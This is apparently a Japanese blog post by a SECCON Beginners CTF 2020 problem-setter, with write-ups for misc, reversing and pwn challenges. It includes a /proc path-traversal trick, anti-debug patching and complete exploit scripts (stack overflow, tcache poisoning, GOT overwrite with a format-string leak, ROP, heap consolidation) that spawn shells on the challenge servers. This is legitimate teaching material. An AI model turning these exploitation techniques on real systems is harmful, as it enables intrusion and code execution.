5月23日14:00から24時間、初心者向けのSECCON Beginners CTF 2020を開催しました。 といっても全問が初心者向けな訳ではなく、中級者でも難しいと感じるような問題もちらほらあったと思います。 また、CTFを本当に初めて触るという方にとってはBeginnerタグの付いた問題だけでも難しかったかと思います。
サーバーはしばらくは開放したままです。 参加するだけでなく復習しないと成長しませんので、是非解けなかった問題にも挑戦してください。
- はじめに
- [Misc 272pts] readme (71 solves)
- [Rev 156pts] yakisoba (144 solves)
- [Rev 279pts] ghost (68 solves)
- [Rev 410pts] sneaky (23 solves)
- [Pwn 134pts] Beginner's Stack (167 solves)
- [Pwn 293pts] Beginner's Heap (62 solves)
- [Pwn 429pts] Elementary Stack (18 solves)
- [Pwn] flip, ChildHeap
exploitやソースコードなどは後々運営が公式リポジトリに公開します。 →自分のは公開しました
任意のファイルを読めるプログラムで、 /home/ctf/flag
を読めば良いという問題です。
しかし、絶対パスを使わないといけず、パスにctf
が入ってはいけません。
/proc/{PID}
というディレクトリにはプロセスに関する情報が豊富に含まれています。
特に、/proc/self
ではオープン元のプロセスに関する情報が含まれています。
例えばcmdline
には次のようにコマンドライン情報が入っています。
$ cat /proc/self/cmdline cat/proc/self/cmdline
今回の問題で利用するのは/proc/self/environ
と/proc/self/cwd
です。
environ
では環境変数が見られます。
$ nc readme.quals.beginners.seccon.jp 9712 File: /proc/self/environ HOSTNAME=b2a8444bdc32PYTHON_PIP_VERSION=20.1SHLVL=1HOME=/home/ctfGPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421DPYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/1fe530e9e3d800be94e04f6428460fc4fb94f5a9/get-pip.pyPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binLANG=C.UTF-8PYTHON_VERSION=3.7.7PWD=/home/ctf/serverPYTHON_GET_PIP_SHA256=ce486cddac44e99496a702aa5c06c5028414ef48fdfd5242cd2fe559b13d4348SOCAT_PID=29557SOCAT_PPID=1SOCAT_VERSION=1.7.3.3SOCAT_SOCKADDR=172.21.0.2SOCAT_SOCKPORT=9712SOCAT_PEERADDR=124.41.115.112SOCAT_PEERPORT=52070
環境変数PWD
にはカレントディレクトリ(今いる場所)が入っています。今回の場合は/home/ctf/server
です。
次に/proc/self/cwd
が特殊で、それ以降のパスをカレントディレクトリに結合してくれます。
例えば今回の場合、/proc/self/cwd/server.py
は/home/ctf/server/server.py
と等価です。
これは/proc/self/cwd/
以降に相対パスを使っても成り立ち、/proc/self/cwd/../flag
は/home/ctf/flag
と等価になります。
したがって、次のようにフラグを得られます。
$ nc readme.quals.beginners.seccon.jp 9712 File: /proc/self/cwd/../flag ctf4b{XXXXXXXXXXXXXXXXXX}
/proc
以下は私もすべてを把握できていないほど多くの情報があるので、是非調べてみてください。
(man proc
でマニュアルが読めます。)
angrなどを使う問題を出そうと思って作りました。 シンボリック実行という手法を使うと、特定のパスに到達する入力を自動的に見つけることができます。 代表的なシンボリック実行ライブラリとしてはTritonやangrなどがあります。CTFではangrが優秀です。 次のように到達したいアドレスを与えると自動的に入力を割り出してくれます。
import angr import claripy from logging import getLogger, WARN getLogger("angr").setLevel(WARN + 1) getLogger("claripy").setLevel(WARN + 1) flag = claripy.BVS("flag", 8 * 0x20) p = angr.Project("../files/yakisoba", load_options={"auto_load_libs": False}) state = p.factory.entry_state(stdin=flag) simgr = p.factory.simulation_manager(state) simgr.explore(find=0x4006d2, avoid=0x4006f7) try: found = simgr.found[0] print(found.solver.eval(flag, cast_to=bytes)) except IndexError: print("Not Found")
C#やPythonの中間言語のようなスタックマシンの問題を作りたくて出しました。 何にするか迷ったのですが、GhostScript(PostScript)にしました。
この問題の解き方はいろいろあって、簡単なのは実際に入力を入れて動かして1文字ずつ調べる方法です。 スクリプトを整形すると、次のようになります。
/flag 64 string def /output 8 string def (%stdin) (r) file flag readline not { (I/O Error\n) print quit } if 0 1 2 index length { 1 index 1 add 3 index 3 index get xor mul 1 463 { 1 index mul 64711 mod } repeat exch pop dup output cvs print ( ) print 128 mod 1 add exch 1 add exch } repeat (\n) print quit
この辺の資料を参考に読みます。 基本的にスタックの様子を書きながら読むと分かりやすいです。 一番外のループがフラグの文字数文で、中のループは剰余付き累乗の処理をしています。 真面目に読むとやっていることは、
x = 1 for i, m in enumerate(flag): c = pow((m^(i+1))*x, 463, 64711) print(c, end=" ") x = (c % 128) + 1
みたいな感じです。 スタックマシンは基本的にスタックだけ置けばばよいので慣れると読みやすいと思います。
これは内部でRSAっぽい構造を持っているので、秘密鍵を計算してフラグを戻せます。
with open("../files/output.txt", "r") as f: ns = map(int, f.read().strip().split(' ')) mod = 163*397 d = 18151 x = 1 flag = "" for i, n in enumerate(ns): m = pow(n, d, mod) m //= x m ^= i + 1 flag += chr(m) x = (n % 128) + 1 print(flag)
RSAに気づかなくても1文字ごと総当りでも解けます。
ゲームのチートをする問題を出そうと思って作りました。 Windowsにするか迷ったのですが、コロナで帰省していてWindowsマシンが無かったのでLinuxで動くゲームにしました。
gdbでアタッチできないのでIDAで読みます。
Linuxではptraceでアンチデバッグすることが多いので、sys_ptrace
でptraceしている箇所を探します。
するとsub_472BF0
がptraceであることが分かります。
ptraceを呼び出しているのはsub_400da0
で、それを呼び出している場所をnopで埋めるとアンチデバッグを潰せます。
次にmain関数からゲームのメインループっぽいところを見ると、
lea r13, aScoreD ; "SCORE: %d"
という文字列があります。これを使っている箇所は
mov rsi, [rbx+20h] mov rdi, r13 xor eax, eax call sub_407F80
となっています。明らかに[rbx+0x20]
がスコアなので、ここにブレークポイントを付けてスコアを大きい値に書き換えて継続するとフラグが表示されます。
pwn未経験者でも解けるように工夫したstack bof問です。 Stack Overflowがあり、SSPは無効なので単純にリターンアドレスを書き換えれば良いです。 rspをalignする方法ですが、win関数の先頭のpushを飛ばしたり、ret gadgetを1つ挟んだりで解決できます。
from ptrlib import * elf = ELF("../files/chall") sock = Socket("bs.quals.beginners.seccon.jp", 9001) rop_ret = 0x00400626 payload = b'A' * 0x28 payload += p64(rop_ret) payload += p64(elf.symbol('win')) sock.sendafter("Input: ", payload) sock.recv() sock.interactive()
pwnの基礎を知っていれば絶対に解けるように、スタックの状態を表示したりrspがalignされていない場合に警告を出したり工夫しました。 が、printf+ncで解こうとした方が一定数いたらしく、シェルが起動しているのに気づかなかったようです。 (catとかでstdinを保持すればそれでも解けます。) うーん、ncでpwnするのは面倒だしアドレスリークができないので、pwntoolsとかに慣れてほしいです。
pwn未経験者でも解けるように工夫したheap bof問です。 ヒントがあるのでそれを使って解いていきましょう。
まずはmallocされたチャンクの構造についてです。チャンクは次のような構造でヒープ上に並んでいます。
+-----------+-----------+ | prev_size | size | +-----------+-----------+ | user data | | | | | +-----------+-----------+ | prev_size | size | +-----------+-----------+ | user data | | | | | +-----------------------+
ここでprev_size
の部分はfreeされていない場合前のチャンクのuser dataとして使われています。
また、sizeはprev_size
からuser dataの終端までのサイズで、下位3ビットは特殊な使われ方をしています。(ここでは詳しくは説明しませんが)
Describe Heapでこれを確認しましょう。
1. read(0, A, 0x80); 2. B = malloc(0x18); read(0, B, 0x18); 3. free(B); B = NULL; 4. Describe heap 5. Describe tcache (for size 0x20) 6. Currently available hint > 2 AAAABBBB 1. read(0, A, 0x80); 2. B = malloc(0x18); read(0, B, 0x18); 3. free(B); B = NULL; 4. Describe heap 5. Describe tcache (for size 0x20) 6. Currently available hint > 4 -=-=-=-=-= HEAP LAYOUT =-=-=-=-=- [+] A = 0x559c1d9f3330 [+] B = 0x559c1d9f3350 +--------------------+ 0x0000559c1d9f3320 | 0x0000000000000000 | +--------------------+ 0x0000559c1d9f3328 | 0x0000000000000021 | +--------------------+ 0x0000559c1d9f3330 | 0x0000000000000000 | <-- A +--------------------+ 0x0000559c1d9f3338 | 0x0000000000000000 | +--------------------+ 0x0000559c1d9f3340 | 0x0000000000000000 | +--------------------+ 0x0000559c1d9f3348 | 0x0000000000000021 | +--------------------+ 0x0000559c1d9f3350 | 0x4242424241414141 | <-- B +--------------------+ 0x0000559c1d9f3358 | 0x000000000000000a | +--------------------+ 0x0000559c1d9f3360 | 0x0000000000000000 | +--------------------+ 0x0000559c1d9f3368 | 0x0000000000020ca1 | +--------------------+ -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
0x21となっている部分がsizeですね。これはfreeする際に確認されるので壊さないように注意しましょう。 0x20じゃなくて0x21になっているのは、下位1ビットはprev_inuseというビットで使われているからです。 これは名前の通り、前のチャンクが使用中のときに立ちます。(まぁいろいろ条件はありますが。)
Bをfreeすると次のようになります。
-=-=-=-=-= HEAP LAYOUT =-=-=-=-=- [+] A = 0x56119ee5f330 [+] B = (nil) +--------------------+ 0x000056119ee5f320 | 0x0000000000000000 | +--------------------+ 0x000056119ee5f328 | 0x0000000000000021 | +--------------------+ 0x000056119ee5f330 | 0x0000000000000000 | <-- A +--------------------+ 0x000056119ee5f338 | 0x0000000000000000 | +--------------------+ 0x000056119ee5f340 | 0x0000000000000000 | +--------------------+ 0x000056119ee5f348 | 0x0000000000000021 | +--------------------+ 0x000056119ee5f350 | 0x0000000000000000 | +--------------------+ 0x000056119ee5f358 | 0x000000000000000a | +--------------------+ 0x000056119ee5f360 | 0x0000000000000000 | +--------------------+ 0x000056119ee5f368 | 0x0000000000020ca1 | +--------------------+ -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- 1. read(0, A, 0x80); 2. B = malloc(0x18); read(0, B, 0x18); 3. free(B); B = NULL; 4. Describe heap 5. Describe tcache (for size 0x20) 6. Currently available hint > 5 -=-=-=-=-= TCACHE -=-=-=-=-= [ tcache (for 0x20) ] || \/ [ 0x000056119ee5f350(rw-) ] || \/ [ END OF TCACHE ] -=-=-=-=-=-=-=-=-=-=-=-=-=-=
Bがtcacheに繋がっています。 あとで同じサイズのmallocが呼ばれたとき、このtcacheにチャンクが繋がっていればそこから取り出すように設計されています。
Bの先頭8バイトが0になっていますが、これはfdと呼ばれるポインタです。tcacheのリンクを管理しています。
したがって、AのオーバーフローでBのfdを書き換えることで、tcacheを__free_hook
に向けることができます。
__free_hook
はfree関数実行時に呼ばれる関数ポインタです。
そのため、ここにwin関数のアドレスを書き込めたらOKです。
今回もfreeされたBのfdを__free_hook
に向ければ良いのですが、Bのヘッダにあるsizeに注意する必要があります。
サイズを壊さないように0x21のままにしてfdだけ書き換えると、次のような状態になります。
tcache[for 0x20] --> B --> __free_hook
しかし次にBをmallocした後にもう一度mallocできないので、__free_hook
に対しては何もできません。
そこで、Bのサイズを0x31など別の(tcacheとして有効な)サイズに変更するとBをmallocしてfreeしたときに次のような状態になります。
tcache[for 0x30] --> B tcache[for 0x20] --> __free_hook
Bはfree済みなのでmalloc(0x18)でき、無事__free_hook
を獲得できます。
後はwinのアドレスを書き込んでfreeすれば終了です。
from ptrlib import * import time def write(data): sock.sendlineafter("> ", "1") time.sleep(0.1) sock.send(data) def malloc(data): sock.sendlineafter("> ", "2") time.sleep(0.1) sock.send(data) def free(): sock.sendlineafter("> ", "3") sock = Process("../build/chall", cwd="../build") sock.recvuntil(": ") addr_free_hook = int(sock.recvline(), 16) sock.recvuntil(": ") addr_win = int(sock.recvline(), 16) logger.info("__free_hook = " + hex(addr_free_hook)) logger.info("win = " + hex(addr_win)) payload = b"A" * 0x18 payload += p64(0x30) payload += p64(addr_free_hook) malloc("Hello") free() write(payload) malloc("Hello") free() malloc(p64(addr_win)) free() sock.interactive()
ややこしいかもしれませんが、最初のうちはtcacheの図を書いてみると分かりやすいと思います。
自明な範囲外書き込みがあるバイナリとソースコード、libcも渡されます。 whileから抜ける手段が無いので今回はリターンアドレスを書き換えても意味がありません。 ここで、readlineに使われるバッファがmallocで確保され、ポインタが渡されていることに注目します。 このポインタもスタック上に存在するので、それを範囲外書き込みで上書きでき、readlineなどが呼ばれるときに任意アドレス書き込みを作れます。
ここまでできてatoi@gotをsystemにしたいけどlibcのアドレスが分からない、という方は多かったかもしれません。 そういう時はatoiをprintfに向けてFormat String Bugを引き起こすという方法があります。 FSBでlibcのアドレスをリークできるので今度こそatoiをsystemに向けられます。
from ptrlib import * libc = ELF("../files/libc-2.27.so") elf = ELF("../files/chall") sock = Socket("es.quals.beginners.seccon.jp", 9003) delta = 0xe7 sock.sendlineafter(": ", "-2") sock.sendlineafter(": ", str(elf.got("malloc"))) sock.sendlineafter(": ", p64(0xdeadbeef) + p64(elf.plt("printf"))) sock.sendlineafter(": ", "%25$p") libc_base = int(sock.recvline(), 16) - libc.symbol("__libc_start_main") - delta logger.info("libc = " + hex(libc_base)) sock.sendlineafter(": ", p64(0xdeadbeef) + p64(libc_base + libc.symbol("system"))) sock.sendafter(": ", "/bin/sh\0") sock.interactive()
これなんで18チームしか解いてないんですか......🥺🥺🥺
flipとChildHeapはしふくろさんの作問ですが、作問チェックの時に書いたexploitだけ載っけておきます。
flip
2ビットflipできるのでexitをstartに向けて無限にflipできるようにします。 setbufをputsとかに書き換えてstdinとかをずらせばlibc leakできて、あとは適当にGOTをone gadgetなどに向けて終了です。
が、作問チェックしたときの私は頭が回ってなかったので面倒な方法で解きました。 なんかgetlongの途中に飛ぶとrbpがいい感じの場所を指していて、上手いことスタックに偽のサイズとかポインタを置くと上手いことROPできました。
from ptrlib import * def flip_bits(address, bitList): sock.sendlineafter(">> ", str(address)) for nbit in bitList: sock.sendlineafter(">> ", str(nbit)) return elf = ELF("../files/flip") libc = ELF("../files/libc-2.27.so") sock = Process("../files/flip") rop_ret = 0x00400646 rop_pop_rdi = 0x004009e3 rop_pop_rsi_r15 = 0x004009e1 rop_pop_rbp = 0x00400748 rop_leave = 0x004008a7 flip_bits(elf.got("exit"), [4, 5]) flip_bits(elf.got("exit"), [1, 2]) for i, b in enumerate(bin(0x400676 ^ 0x400945)[2:][::-1]): x, y = i // 8, i % 8 if b == '1': flip_bits(elf.got("__stack_chk_fail") + x, [-1, y]) flip_bits(elf.got("exit"), [4, 7]) payload = p64(rop_pop_rsi_r15) payload += p64(0x10000) payload += p64(0xdeadbeef) payload += p64(elf.symbol("getnline")) sock.send(payload) payload = p64(rop_ret) payload += p64(rop_ret) * 0x10 payload += p64(rop_pop_rdi) payload += p64(elf.got("puts")) payload += p64(elf.plt("puts")) payload += p64(rop_pop_rdi) payload += p64(elf.section(".bss") + 0x400) payload += p64(rop_pop_rsi_r15) payload += p64(0x10000) payload += p64(0xdeadbeef) payload += p64(elf.symbol("getnline")) payload += p64(rop_pop_rbp) payload += p64(elf.section(".bss") + 0x400 - 8) payload += p64(rop_leave) sock.sendline(payload[1:]) sock.recvline() libc_base = u64(sock.recvline()) - libc.symbol("puts") logger.info("libc = " + hex(libc_base)) payload = p64(rop_pop_rdi) payload += p64(libc_base + next(libc.find("/bin/sh"))) payload += p64(libc_base + libc.symbol("system")) sock.sendline(payload) sock.interactive()
👆の解き方は圧倒的に難しいことをしてるので正攻法を知りたい方は運営の公式リポジトリを待ってください。 いやでも3チームしか解いてないのおかしくないか🤔
ChildHeap
off-by-nullがあるがチャンク1個しか保持できないので頑張ってheap feng shuiする。
ヒープアドレスは取れるので、unlinkで落ちないようにfdとbkを書き込んだ偽のチャンクとbackward consolidateさせてoverlapできる。
あとは__free_hook
をsystemに書き換えて終わり。
from ptrlib import * def alloc(size, data): sock.sendlineafter("> ", "1") sock.sendlineafter(": ", str(size)) sock.sendafter(": ", data) def delete(option): sock.sendlineafter("> ", "2") sock.recvuntil(": '") note = sock.recvuntil("'")[:-1] sock.sendlineafter("] ", option) return note def wipe(): sock.sendlineafter("> ", "3") libc = ELF("./libc-2.29.so") sock = Socket("localhost", 9999) alloc(0xf8, "Hello") delete('y') wipe() for i in range(5): alloc(0x18, "A") delete('y') wipe() alloc(0x108, "B") delete('y') wipe() alloc(0x18, "A" * 0x18) wipe() alloc(0x108, "B") delete('y') wipe() alloc(0xf8, "hoge") delete('y') heap_base = u64(delete('n')) - 0x710 logger.info("heap = " + hex(heap_base)) wipe() fake_chunk = b'A' * 0x30 fake_chunk += p64(heap_base + 0x9b0) + p64(heap_base + 0x9b0) fake_chunk += p64(0) + p64(0x100) fake_chunk += p64(heap_base + 0x990) + p64(heap_base + 0x990) alloc(0x18, "A") delete('y') wipe() alloc(0x108, "B") delete('y') wipe() alloc(0x18, "A" * 0x18) wipe() alloc(0x108, fake_chunk) delete('y') wipe() alloc(0x38, "A") delete('y') wipe() alloc(0x108, "B") delete('y') wipe() alloc(0x28, (p64(0)+p64(0x21))*0x2) wipe() alloc(0x38, b'A'*0x30 + p64(0x100)) delete('y') wipe() alloc(0x108, (p64(0)+p64(0x21))*0x10) delete('y') wipe() alloc(0, "") libc_base = u64(delete('n')) - libc.main_arena() - 0x250 logger.info("libc = " + hex(libc_base)) delete('y') wipe() payload = b'A' * 0xa0 payload += p64(libc_base + libc.symbol('__free_hook')) payload += p64(heap_base + 0x10) alloc(0x128, payload) wipe() alloc(0x38, "hoge") wipe() alloc(0x38, p64(libc_base + libc.symbol('system'))) wipe() alloc(0x48, "/bin/sh") delete('y') sock.interactive()
こっちの方がflipより難しいと思うけどなぁ......